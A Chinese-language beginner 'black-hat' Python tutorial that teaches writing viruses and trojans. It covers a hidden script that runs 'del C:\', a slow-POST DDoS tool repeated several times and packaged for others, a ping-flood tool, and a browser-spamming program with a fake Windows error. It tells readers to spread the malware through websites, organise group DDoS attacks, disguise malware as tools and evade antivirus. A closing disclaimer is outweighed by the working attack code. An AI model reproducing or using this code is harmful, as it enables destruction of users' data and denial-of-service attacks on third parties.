Python3.7黑帽编程——病毒篇（基础篇）

Hacker（黑客），往往被人们理解为只会用非法手段来破坏网络安全的计算机高手。但是，黑客其实不是这样的，真正的“网络破坏者”是和黑客名称和读音相似的骇客。

骇客，是用黑客手段进行非法操作并为己取得利益的人。黑客，是用黑客手段为国家或单位做事的人。

那么，既然黑客不是一个很坏的职业，我们就可以去试着学习。

黑客本身的初衷

——黑客其实一直是善良的。 骇客其实他的前身就是黑客。

骇客与黑客分家，有这么一个故事：

原本，只有黑客一族。而不久后，有些黑客想用黑客手段来获取利益，不断被其他的黑客反对。于是，那些黑客悄悄私下成立了一个新的族群——骇客族。

骇客族产生后，一直处于保密状态，所以，没有人知道这个族。

直到有一天——

骇客族出现了一次大骚动：

不断的进行网络欺骗、流量攻击，盗取了很多人的账号，还修改了一些大型的搜索网站。

于是，从这天开始，黑骇（黑客和骇客）分家了。

黑客的初衷本是一些测试程序漏洞的计算机高手，他们还帮国家和单位做事。但是，人心总是贪婪，造成了骇客的诞生。

从此以后，防病毒产品诞生了。

什么是病毒

病毒，指的是一些通过非法手段获取系统的一些权限，然后进行破坏或者盗取。

病毒分为两类：

1、破坏型

这类病毒往往会将系统弄的乱七八糟，比如把你的U盘删光，把你的系统背景调成黑客图片，把你的桌面全部变成某个图标…

这些病毒一般比较明显，所以，杀毒软件一般比较容易查杀，但是，下面这种就不一样了。

2、非破坏型

非破坏型病毒不会把你的系统怎么样，也不会删除你的文件和修改你的个性化操作，他们只有一个目的：盗取文件或让它们的主人进入你的计算机。例如最典型的灰鸽子，就是让黑客进行连接，然后控制你的电脑。冰河也是一样。还有一种ftp木马，它们的目的就是打开21端口，等待黑客连接。

安装编程环境：Python3.7 IDE

接着，双击它，按照安装向导完成安装。

在Windows搜索栏中搜索：Python

会显示出：

打开它！

打造攻击目标：VMware虚拟机

新建虚拟机

编写经典程序——Hello，World！

打开Python，点击File，New。

在弹出的窗口中输入：

print('Hello, World!')

点击Run，最后一个选项，查看结果。

显示：

Hello, World!

这表示IDE程序可用，也表示，你已经成为一名 程序员 了！

测试网络的PING

PING程序是Microsoft（微软公司）为Windows用户准备的网络检测程序，使用他，可以帮你查看网络状态和网络是否可访问。

键击“windows键+R”，打开运行窗口，输入cmd，回车，即可打开终端窗口。在这里，你可以做很多一般人做不到的事情。

试试对baidu.com进行PING指令

TCP\IP协议

TCP/IP传输协议，即传输控制/网络协议，也叫作网络通讯协议。它是在网络的使用中的最基本的通信协议。TCP/IP传输协议对互联网中各部分进行通信的标准和方法进行了规定。并且，TCP/IP传输协议是保证网络数据信息及时、完整传输的两个重要的协议。TCP/IP传输协议是严格来说是一个四层的体系结构，应用层、传输层、网络层和数据链路层都包含其中。

TCP/IP协议是Internet最基本的协议,其中应用层的主要协议有Telnet、FTP、SMTP等，是用来接收来自传输层的数据或者按不同应用要求与方式将数据传输至传输层；传输层的主要协议有UDP、TCP，是使用者使用平台和计算机信息网内部数据结合的通道，可以实现数据传输与数据共享；网络层的主要协议有ICMP、IP、IGMP，主要负责网络中数据包的传送等；而网络访问层，也叫网路接口层或数据链路层，主要协议有ARP、RARP，主要功能是提供链路管理错误检测、对不同通信媒介有关信息细节问题进行有效处理等。

TCP/IP协议能够迅速发展起来并成为事实上的标准，是它恰好适应了世界范围内数据通信的需要。它有以下特点：

（1）协议标准是完全开放的，可以供用户免费使用，并且独立于特定的计算机硬件与操作系统。

（2）独立于网络硬件系统，可以运行在广域网，更适合于互联网。

（3）网络地址统一分配，网络中每一设备和终端都具有一个唯一地址。

（4）高层协议标准化，可以提供多种多样可靠网络服务。

TCP/IP协议的层次

IP协议

网络层引入了IP协议，制定了一套新地址，使得我们能够区分两台主机是否同属一个网络，这套地址就是网络地址，也就是所谓的IP地址。IP协议将这个32位的地址分为两部分，前面部分代表网络地址，后面部分表示该主机在局域网中的地址。如果两个IP地址在同一个子网内，则网络地址一定相同。为了判断IP地址中的网络地址，IP协议还引入了子网掩码，IP地址和子网掩码通过按位与运算后就可以得到网络地址。

ARP协议

即地址解析协议，是根据IP地址获取MAC地址的一个网络层协议。其工作原理如下：ARP首先会发起一个请求数据包，数据包的首部包含了目标主机的IP地址，然后这个数据包会在链路层进行再次包装，生成以太网数据包，最终由以太网广播给子网内的所有主机，每一台主机都会接收到这个数据包，并取出标头里的IP地址，然后和自己的IP地址进行比较，如果相同就返回自己的MAC地址，如果不同就丢弃该数据包。ARP接收返回消息，以此确定目标机的MAC地址；与此同时，ARP还会将返回的MAC地址与对应的IP地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。

路由协议

首先通过IP协议来判断两台主机是否在同一个子网中，如果在同一个子网，就通过ARP协议查询对应的MAC地址，然后以广播的形式向该子网内的主机发送数据包；如果不在同一个子网，以太网会将该数据包转发给本子网的网关进行路由。网关是互联网上子网与子网之间的桥梁，所以网关会进行多次转发，最终将该数据包转发到目标IP所在的子网中，然后再通过ARP获取目标机MAC，最终也是通过广播形式将数据包发送给接收方。而完成这个路由协议的物理设备就是路由器，路由器扮演着交通枢纽的角色，它会根据信道情况，选择并设定路由，以最佳路径来转发数据包。

所以，网络层的主要工作是定义网络地址、区分网段、子网内MAC寻址、对于不同子网的数据包进行路由。

链路层定义了主机的身份，即MAC地址，而网络层定义了IP地址，明确了主机所在的网段，有了这两个地址，数据包就从可以从一个主机发送到另一台主机。但实际上数据包是从一个主机的某个应用程序发出，然后由对方主机的应用程序接收。而每台电脑都有可能同时运行着很多个应用程序，所以当数据包被发送到主机上以后，是无法确定哪个应用程序要接收这个包。因此传输层引入了UDP协议来解决这个问题，为了给每个应用程序标识身份。

UDP协议

UDP协议定义了端口，同一个主机上的每个应用程序都需要指定唯一的端口号，并且规定网络中传输的数据包必须加上端口信息，当数据包到达主机以后，就可以根据端口号找到对应的应用程序了。UDP协议比较简单，实现容易，但它没有确认机制，数据包一旦发出，无法知道对方是否收到，因此可靠性较差，为了解决这个问题，提高网络可靠性，TCP协议就诞生了。

TCP协议

TCP即传输控制协议，是一种面向连接的、可靠的、基于字节流的通信协议。简单来说TCP就是有确认机制的UDP协议，每发出一个数据包都要求确认，如果有一个数据包丢失，就收不到确认，发送方就必须重发这个数据包。为了保证传输的可靠性，TCP协议在UDP基础之上建立了三次对话的确认机制，即在正式收发数据前，必须和对方建立可靠的连接。TCP数据包和UDP一样，都是由首部和数据两部分组成，唯一不同的是，TCP数据包没有长度限制，理论上可以无限长，但是为了保证网络的效率，通常TCP数据包的长度不会超过IP数据包的长度，以确保单个TCP数据包不必再分割。

传输层的主要工作是定义端口，标识应用程序身份，实现端口到端口的通信，TCP协议可以保证数据传输的可靠性。

理论上讲，有了以上三层协议的支持，数据已经可以从一个主机上的应用程序传输到另一台主机的应用程序了，但此时传过来的数据是字节流，不能很好的被程序识别，操作性差，因此，应用层定义了各种各样的协议来规范数据格式，常见的有http,ftp,smtp等，在请求Header中，分别定义了请求数据格式Accept和响应数据格式Content-Type，有了这个规范以后，当对方接收到请求以后就知道该用什么格式来解析，然后对请求进行处理，最后按照请求方要求的格式将数据返回，请求端接收到响应后，就按照规定的格式进行解读。

所以应用层的主要工作就是定义数据格式并按照对应的格式解读数据。

黑客入门的操作命令

1、“肉鸡”

“肉鸡”有点类似牵线木偶，是指可以被黑客神不知鬼不觉地远程控制的电脑或者大型服务器。不论什么系统都有可能沦为“肉鸡”。

2、“木马”

“木马”是一种在运行后可以得到系统的控制权的程序。拿网页木马举例，主要是利用浏览器的漏洞把网页木马搞到浏览器访问者本地上，然后自动执行的。

3、“后门”

黑客在通过某种手段成功控制目标主机之后，搞到系统的访问权限。访问系统后通过系统漏洞得到root权限，再安装rootkit，就可以较长时间地控制该目标主机。

4、“弱口令”

弱口令的安全强度不高，易于被猜到破解的密码，比如123456、654321。

5、“溢出”

“溢出”一般指的是缓冲区溢出。说白了，就是程序没有进行有效地监测，导致输入的数据没执行。这样的程序和没有执行的数据越来越多，最后程序会解体，也有可能错误地执行黑客的命令。

6、“花指令”

“花指令”是用汇编语言写成的，导致杀毒软件无法对病毒进行合理地判断。因为杀毒软件有顺序规则，就是从头到尾来查杀病毒。而一旦病毒的头尾顺序不对，杀毒软件就歇菜了。

7、“免杀”

“免杀”，顾名思义，就是免去杀毒软件的查杀。使用一些技术把程序进行修改，这些技术主要有加壳、加密、加花指令等。

8、“加壳”

“加壳”的目的主要有压缩文件、将程序编码加密、免杀等，主要通过一些不一般的算法改变可执行程序或者DLL动态链接库文件的编码。

9、“Shell”

“Shell”是一种程序或者命令的执行环境。比如，一般用远程溢出程序后，可以成功控制远程电脑，在该电脑执行系统命令的环境就是“Shell”。

Python编写基本程序

Python是一个强大的语言，它十分简洁，但是十分有用。

在此书编写时，Python3.7.3已经算较新的版本了，所以如果想和本书同步，请安装 Python 3.7.3

编程，就是指用一段计算机能听懂的话让计算机去帮你做事情，这就叫编程。

我们已经学会了“Hello,World!”的编写，现在，我们来编写一个简单的登录系统，我们在后期，会将它改装成一个盗取密码的病毒。

登录.py

from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
    window=tk.Tk()
    window.title('欢迎使用Windows高级功能！')
    window.geometry('450x300')
    
    

    #画布放置图片
    canvas=tk.Canvas(window,height=300,width=500)
    imagefile=tk.PhotoImage(file='Hello.png')
    image=canvas.create_image(0,0,anchor='nw',image=imagefile)
    canvas.pack(side='top')
    #标签 用户名密码
    tk.Label(window,text='用户名:').place(x=100,y=150)
    tk.Label(window,text='密码:').place(x=100,y=190)
    #用户名输入框
    var_usr_name=tk.StringVar()
    entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
    entry_usr_name.place(x=160,y=150)
    #密码输入框
    var_usr_pwd=tk.StringVar()
    entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
    entry_usr_pwd.place(x=160,y=190)
 
    #登录函数
    def usr_log_in():
        #输入框获取用户名密码
        usr_name=var_usr_name.get()
        usr_pwd=var_usr_pwd.get()
        #从本地字典获取用户信息，如果没有则新建本地数据库
        try:
            with open('usr_info.pickle','rb') as usr_file:
                usrs_info=pickle.load(usr_file)
        except FileNotFoundError:
            with open('usr_info.pickle','wb') as usr_file:
                usrs_info={'admin':'admin'}
                pickle.dump(usrs_info,usr_file)
        #判断用户名和密码是否匹配
        if usr_name in usrs_info:
            if usr_pwd == usrs_info[usr_name]:
                

                
    
               



                
                tk.messagebox.showinfo(title='welcome',
                                       message='欢迎您：'+usr_name)
                
                

            else:
                
                tk.messagebox.showerror(message='密码错误')
        #用户名密码不能为空
        elif usr_name=='' or usr_pwd=='' :
            
            tk.messagebox.showerror(message='用户名或密码为空')
        #不在数据库中弹出是否注册的框
        else:
            is_signup=tk.messagebox.askyesno('欢迎','您还没有注册，是否现在注册')
            if is_signup:
                usr_sign_up()
    #注册函数
    def usr_sign_up():
        
        #确认注册时的相应函数
        def signtowcg():
        #获取输入框内的内容
            nn=new_name.get()
            np=new_pwd.get()
            npf=new_pwd_confirm.get()
 
            #本地加载已有用户信息,如果没有则已有用户信息为空
            try:
                with open('usr_info.pickle','rb') as usr_file:
                    exist_usr_info=pickle.load(usr_file)
            except FileNotFoundError:
                    exist_usr_info={}           
            
            #检查用户名存在、密码为空、密码前后不一致
            if nn in exist_usr_info:
                tk.messagebox.showerror('错误','用户名已存在')
            elif np =='' or nn=='':
                tk.messagebox.showerror('错误','用户名或密码为空')
            elif np !=npf:
                tk.messagebox.showerror('错误','密码前后不一致')
           #注册信息没有问题则将用户名密码写入数据库
            else:
                exist_usr_info[nn]=np
                with open('usr_info.pickle','wb') as usr_file:
                    pickle.dump(exist_usr_info,usr_file)
                tk.messagebox.showinfo('欢迎','注册成功')
                #注册成功关闭注册框
                window_sign_up.destroy()
        #新建注册界面
        window_sign_up=tk.Toplevel(window)
        window_sign_up.geometry('350x200')
        window_sign_up.title('注册')
        #用户名变量及标签、输入框
        new_name=tk.StringVar()
        tk.Label(window_sign_up,text='用户名：').place(x=10,y=10)
        tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
        #密码变量及标签、输入框
        new_pwd=tk.StringVar()
        tk.Label(window_sign_up,text='请输入密码：').place(x=10,y=50)
        tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)    
        #重复密码变量及标签、输入框
        new_pwd_confirm=tk.StringVar()
        tk.Label(window_sign_up,text='请再次输入密码：').place(x=10,y=90)
        tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)    
        #确认注册按钮及位置
        bt_confirm_sign_up=tk.Button(window_sign_up,text='确认注册',
                                 command=signtowcg)
        bt_confirm_sign_up.place(x=150,y=130)
    #退出的函数
    def usr_sign_quit():
        try :
           

            window.destroy()
        except :
            pass
    #登录 注册按钮
    bt_login=tk.Button(window,text='登录',command=usr_log_in)
    bt_login.place(x=140,y=230)
    bt_logup=tk.Button(window,text='注册',command=usr_sign_up)
    bt_logup.place(x=210,y=230)
    bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
    bt_logquit.place(x=280,y=230)
    #主循环
    window.mainloop()
    # -*-coding:utf-8-*
    import socket
    import threading
    import Queue
    import time
except :
    pass

这段代码会让用户输入用户名和密码，并且进行登录。

木马程序的编写

在本章，我们将正式开始木马的编写。

用Python写木马，其实很简单。

下面是我例举的一个破坏型木马的代码：

Delete.py

import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret = subprocess.call("del C:\ ", shell=True)
window=tk.Tk()
window.withdraw()  
window.mainloop()

他其实很简单，但是，却又让一些很基础的用户受骗。

很多人在电脑弹出窗口提示时都喜欢点击“是”“确认”“好”，但是，可能就因为这样，你的C:\被删除了。这意味着，你失去了系统盘！

破坏型木马很好编写，我们在前期都在编写破坏型木马和病毒，所以都比较简单。

Python之外，课外扩展

int main()
{
	
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	return 0;
}

#include<iostream>
using namespace std;
int main()
{
	cout<<"Hello,World!"<<endl;
	return 0;
}

运行后，显示：

Hello，World！

在这一篇，你将成为一名黑客……

Python编写DDoS攻击程序

分布式拒绝服务攻击(英文意思是Distributed Denial of Service，简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击，或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的，这类攻击称为分布式拒绝服务攻击，其中的攻击者可以有多个。

那么，我们用代码来执行DDoS攻击，你可以邀请你的朋友一起来学习和使用。

下面，你可以把代码复制到你的Python上，然后运行，试试效果。

DDoS.py

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名，要保证他联网了或开机了.
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(0.1)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

在指定位置输入你要攻击的IP或网址，运行，就可以进行攻击了。

运用PING程序进行网络堵塞攻击

前面说过，PING程序可能会使网络堵塞，所以，我们根据这个原理编写了一个攻击程序。

网络堵塞.py

import os
import socket
import time
ip = input("请输入IP：")
os.system("ping -t -l 50 " + ip)

运行程序，输入IP，就可以等待指定主机网络堵塞了。

连接对方的计算机

运用ftp来进行文件传输

copy

import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess

os.system("copy 路径 路径 ")

这是一个简单的程序，但在后期，却非常有用！

运用socket模块

在上个小节，有个DDoS攻击程序，这个程序里调用了一个模块：socket

这个模块是个很棒的插件，它可以帮你进行连接，就像一个可以帮你插电线的电工。

调用socket模块

#调用socket
import socket
print("Hello,socket!")

DDoS原理

就像接东西，张三接，李四扔。李四不停扔苹果给张三，张三不断接苹果，接着接着，手上满了！那么，只有把苹果掉在地上了。

就是这个原理，我不断进行连接，对方不断处理连接，慢慢的慢慢的，对方的系统主机繁忙到堵塞，一大堆的请求没有处理，堆在网络连接处，系统还在不断处理，等处理到一定时候，系统的运算已经达到了超负荷，就会崩溃。这就是DDoS的原理。

Hacker(黑客)软件（篇）

黑客软件是一些黑客高手做的软件，这些软件可以简化攻击成本和难度，是很多黑客的不二之选。

但是今天，我们不来下别人的黑客软件，咱们来做自己的黑客软件！

黑客软件制作

1、网络堵塞工具 V1.0

首先，我们要设计我们的LOGO：

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒

┃网络堵塞工具 V1.0||||||||||||||||||||||||||| ┃

┃|||||网络堵塞工具，选这款！|||||||||||| ┃

┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛

[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——

接着，开始想它的呈现方式：

1、终端形式

2、窗口形式

这里，我们来做终端形式。

输入代码：

import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():
    cd = input("请输入指令>>")
    if cd == "1":
        ping()
    if cd == "2":
        print('此功能暂不可用')
    input_cd()

def ping():
    host = input("请输入对方IP:")
    qiangdu = input("请输入强度(1-65500):")
    
    os.system("ping -t -l " + qiangdu + " " + host)
logo = """
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃网络堵塞工具 V1.0||||||||||┃
┃|||||网络堵塞工具，选这款！|┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
 []|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
"""

print(logo)
print('[][使用指南][]')
print('1、ping \n2、ddos(正在编写)')
input_cd()

此程序可完成一个简易的攻击工具，你可以对它进行修改，让别的用户使用它。

2、DDoS攻击工具

输入代码：

import socket
import time
import threading
#Pressure Test,ddos tool
print('欢迎使用DDoS攻击工具!')
#---------------------------
MAX_CONN=20000
PORT=80
HOST=input("请输入网址或IP:")
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(0.1)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

它将成为一件出色的软件，你也可以对它进行修改，我贡献在书上的代码，没有版权。

学习并使用别人的黑客软件

当然，黑客高手们做的软件自然比我们好的多。那么，我们该如何去下载那些软件呢？

首先，在下载黑客软件时，要注意防病毒。因为很可能这个软件是被捆绑了病毒的恶意程序！

下面，为大家展示几款软件的安装：

1、SQL tools

2、ComputerKiller

运用代码和一些 工具 来查看对方是否可被攻击

例如：我要入侵一台计算机，已知参数：

MAC：00:50:56:38:6F:C3

IP：192.168.132.132

用户名：Administrator

黑客软件使用的要点

黑客软件虽然好用，但是，不好下载。

在网上，有很多软件都带有病毒，我下载的一些黑客软件就有，病毒名称：

BKDR_AGENT.AHZU后门

TROJ_GEN.R002C0PKF19木马

TROJ_GEN.R03FC0PGN19木马

所以，在网上一定要小心这些捆绑了病毒的软件，可能你就会有一天被黑客劫持！

推荐大家到这几个站点去下载黑客软件：

hackersdld.icoc.vc(黑客软件下载)

www.netxeyes.com(小榕主页)

以上就是本章的内容，在下一章，我们将进行更深入的攻击学习，代码攻击将成为重点。

本章课外

print("Hello,Users!")
name = input("What's your name?")
print("Oh,Nice to meet you," + name + "!")

这样的简单到不能再简单的程序，大家想必已经可以看懂了。那么这一篇，我们就来深度学习代码编程，通过编程的学习，来进行后期木马和病毒的编写。

不知道大家有没有听说过有一种程序，通过不断打开网页进行加载来导致计算机卡顿。这也是一种病毒。

我们本章也来教大家编写这一类的病毒，并且教大家如何进行传播。

本章我们还会了解到 凡科建站 ，这是一个很厉害的建站程序。可以让你不用码代码就进行网站搭建。我们通过这个功能来建造我们自己的主页，然后像黑客小榕那样发布我们的黑客软件。当然，我们也可以做一些恶意网站，这样就可以得到很好的效果。

凡科建站

用网页来传播病毒

我们可以在建造的网站上让用户下载病毒，这样可以得到很有效的效果。我编写的病毒如下：

import webbrowser
import tkinter.messagebox
while 1:
    webbrowser.open("baidu.com")
    tk.messagebox.showerror('Windows错误','Windows被不明程序劫持，正在尝试自救......')

pyintaller -F -w -i 图片路径 文件路径

对网站进行攻击

网站攻击一般都是 SQL 数据库注入、DNS欺骗、DDoS攻击等。SQL注入和DNS欺骗对我们来说暂时太难，我们先从DDoS启。

在前面，我们已经说明了和介绍了DDoS攻击的原理和代码，在本节，我们将对这个脚本进行改造，让它变成一个强大的黑客软件——DDoS:ME

先回顾一下之前的脚本代码，我们是用了socket模块进行不断发送连接请求来实现的。其中，较关键的关键字有：

while 1:
import socket
Host = ""
......

这些都是脚本的重点，如果丢掉While，那你的脚本只会执行一次。如果丢掉import，那么将会出错。如果丢掉Host，那么，你的脚本将没有目标…

回顾一下之前的代码，试着尝试解决以下问题和建议：

1、如何让攻击强度变大？

2、可以将socket模块换成其他吗？

组织一场庞大的DDoS攻击

真正的高级攻击都不是一个人完成的。都是在肉鸡（傀儡机）和队友的帮助下完成的。你不妨组织一个黑客联盟，一起来进行黑客技术的研究。

本节，我们就来教大家组织一场庞大的DDoS攻击，并且教大家如何进行攻击。

组织，一个包含了深意的名词。有了组织，我们就可以更加强大。

本小节，我们就来进行组织。

1、创建组织

你可以邀请你的朋友加入我们的行列，并要它阅读这本书里的引子和介绍。接着，你可以在QQ或WeChat里组织一个团体，可以取一个有意义的名字。例如：

Hello,Hackers!

Hacker men

计算机杀手们

黑客军团

黑客帝国

这些都是一些有趣的名字，你可以采取点意见。

接着，你可以将自己的成果与大家共享，再收获别人的成果。用一段有趣的话来说：化学罐车碰油罐车，火花才激烈！

2、加入组织

你可以加入任何的组织，只要它愿意。加入后，你可以像上一小节那样，一起来交流。

如遇到让你很感兴趣的话题，你可以向发布人询问代码，Python社区都十分友好，Hackers社区就更别说了——一家人，难道还不友好吗？

组织之后，例如我的团队现在有8个人，分别是：

C++
Java
Python(Me)
1
2
3
4
5

import socket
import time 
......

DDoS攻击软件的制作

把脚本变成攻击软件，这也许会比较好。别的人可以更好的进行使用。

我们先打开DDoS攻击脚本，代码如下：

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名，要保证他联网了或开机了.
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(0.1)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

我们第一步就是给它加上标题和IP输入区，那么，将代码修改成这样：

import socket
import time
import threading
#Pressure Test,ddos tool
print("欢迎使用DDoS:ME!")
HOST = input("DDoS:ME请求您输入IP:")
#---------------------------
MAX_CONN=20000
PORT=80
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(0.1)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

这样，就成为一个简易的攻击软件了。

不过，我们还得继续改进。

本次改进就当做本小节的挑战了，希望经过那么久的学习，你可以完成这个挑战。

1、将本节的DDoS攻击器进行改造，成为一个完美的攻击器。

2、让这段代码的威力更厉害点儿

网站攻击要点

在本书中，不会教大家如何进行DNS欺骗和别的攻击。因为这些知识很难，比DDoS难得多。但是，在本书，我们会将病毒研发延伸到我的终点——我会贡献我所有可以贡献的知识。

在攻击时，一定不要忘记自己的身份：

我是一名黑客

既然你是黑客，那就不该做坏事。如果不小心对人家造成了损失，那就成骇客了。

Python3.7编程学习

在中级篇里，我们还要学习如何编程。这样有助于我们伪装我们的程序。例如我通过编程来做一个DDoS攻击器，然后让其他人下载。接着，再让你编写的病毒运行，就可以将别人一网打尽了。

输入和输出

在IDE中输入和输出，我们可以利用print()和input()来完成。这两个都是Python自带的函数，我们可以随心所欲的用它，并且不用定义。

输出是指将信息显示出来，这就是输出。

代码例子：

print("Hello, World!")

输入是指让使用的用户进行键盘敲击，从而进行录入。

代码例子：

name = input("What's your name?")

这两个模块都十分重要，要务必记住它们。

让Python帮你计算，其实十分简单。

你可以根据下列代码进行分析和学习：

1+1 #加法
2-1 #减
3*3 #乘
9/3 #除以
10%3 #模

我们可以通过定义函数来解决总是一样的代码。

代码例子:

def print_a():
	print("a")

循环有两种，一个是For,一个是While。

这些都是循环，只是方式不同。

代码例子:

#while
while 1:
	print("010101001010100101010")

#For
for word in ["You","are","cool!"]:
    print(word)

在Python中，我们用if组语句来判断。在本书中，我们只学习if、else两个语句。

代码例子：

age = 10
if age == 10:
	print("你满十岁啦！")
else :
	print("NO！你没有十岁！")

程序例子学习

1、你几岁了？

age = input("你几岁了?")
if age == "18":
	print("你刚好成年!")
else :
	print("你不是18岁，你可能未成年!")

2、我会机器语言

while 1:
	print("010010101010010101010101010101000101010101010101001010101001010010100101010110010101011111111111111101101010101")

在这一篇里，你将学习编写高级病毒。这些高级病毒十分厉害，最好在虚拟机中查看结果。

我的虚拟机因为无法连接网络，所以在这里我就不做注入演示。

在本章，我们将完成大部分的典型病毒，准备好了吗？

在这之前，我们还要为所有的病毒编写一个必要的程序：

后台运行和免杀

后台运行

在病毒代码的末端加入如下代码：

window=tk.Tk()
window.withdraw()  
window.mainloop()

这样，你就可以让你的病毒在后台运行了。

我们通过编写代码来实现病毒免杀。

我们可以通过打乱病毒特征码来进行，也可以编写“花指令”。

在这里，我们将用到一个新的知识点——欺骗。

“花指令”在前面的篇章里说过，就是编写一段不是病毒源代码的代码，来欺骗杀毒软件。

这里，这个病毒也叫“程序杀手木马”。

我们通过代码来实现“程序杀手木马”，来保护我们的病毒可以正常运行。

我们先看看如下代码：

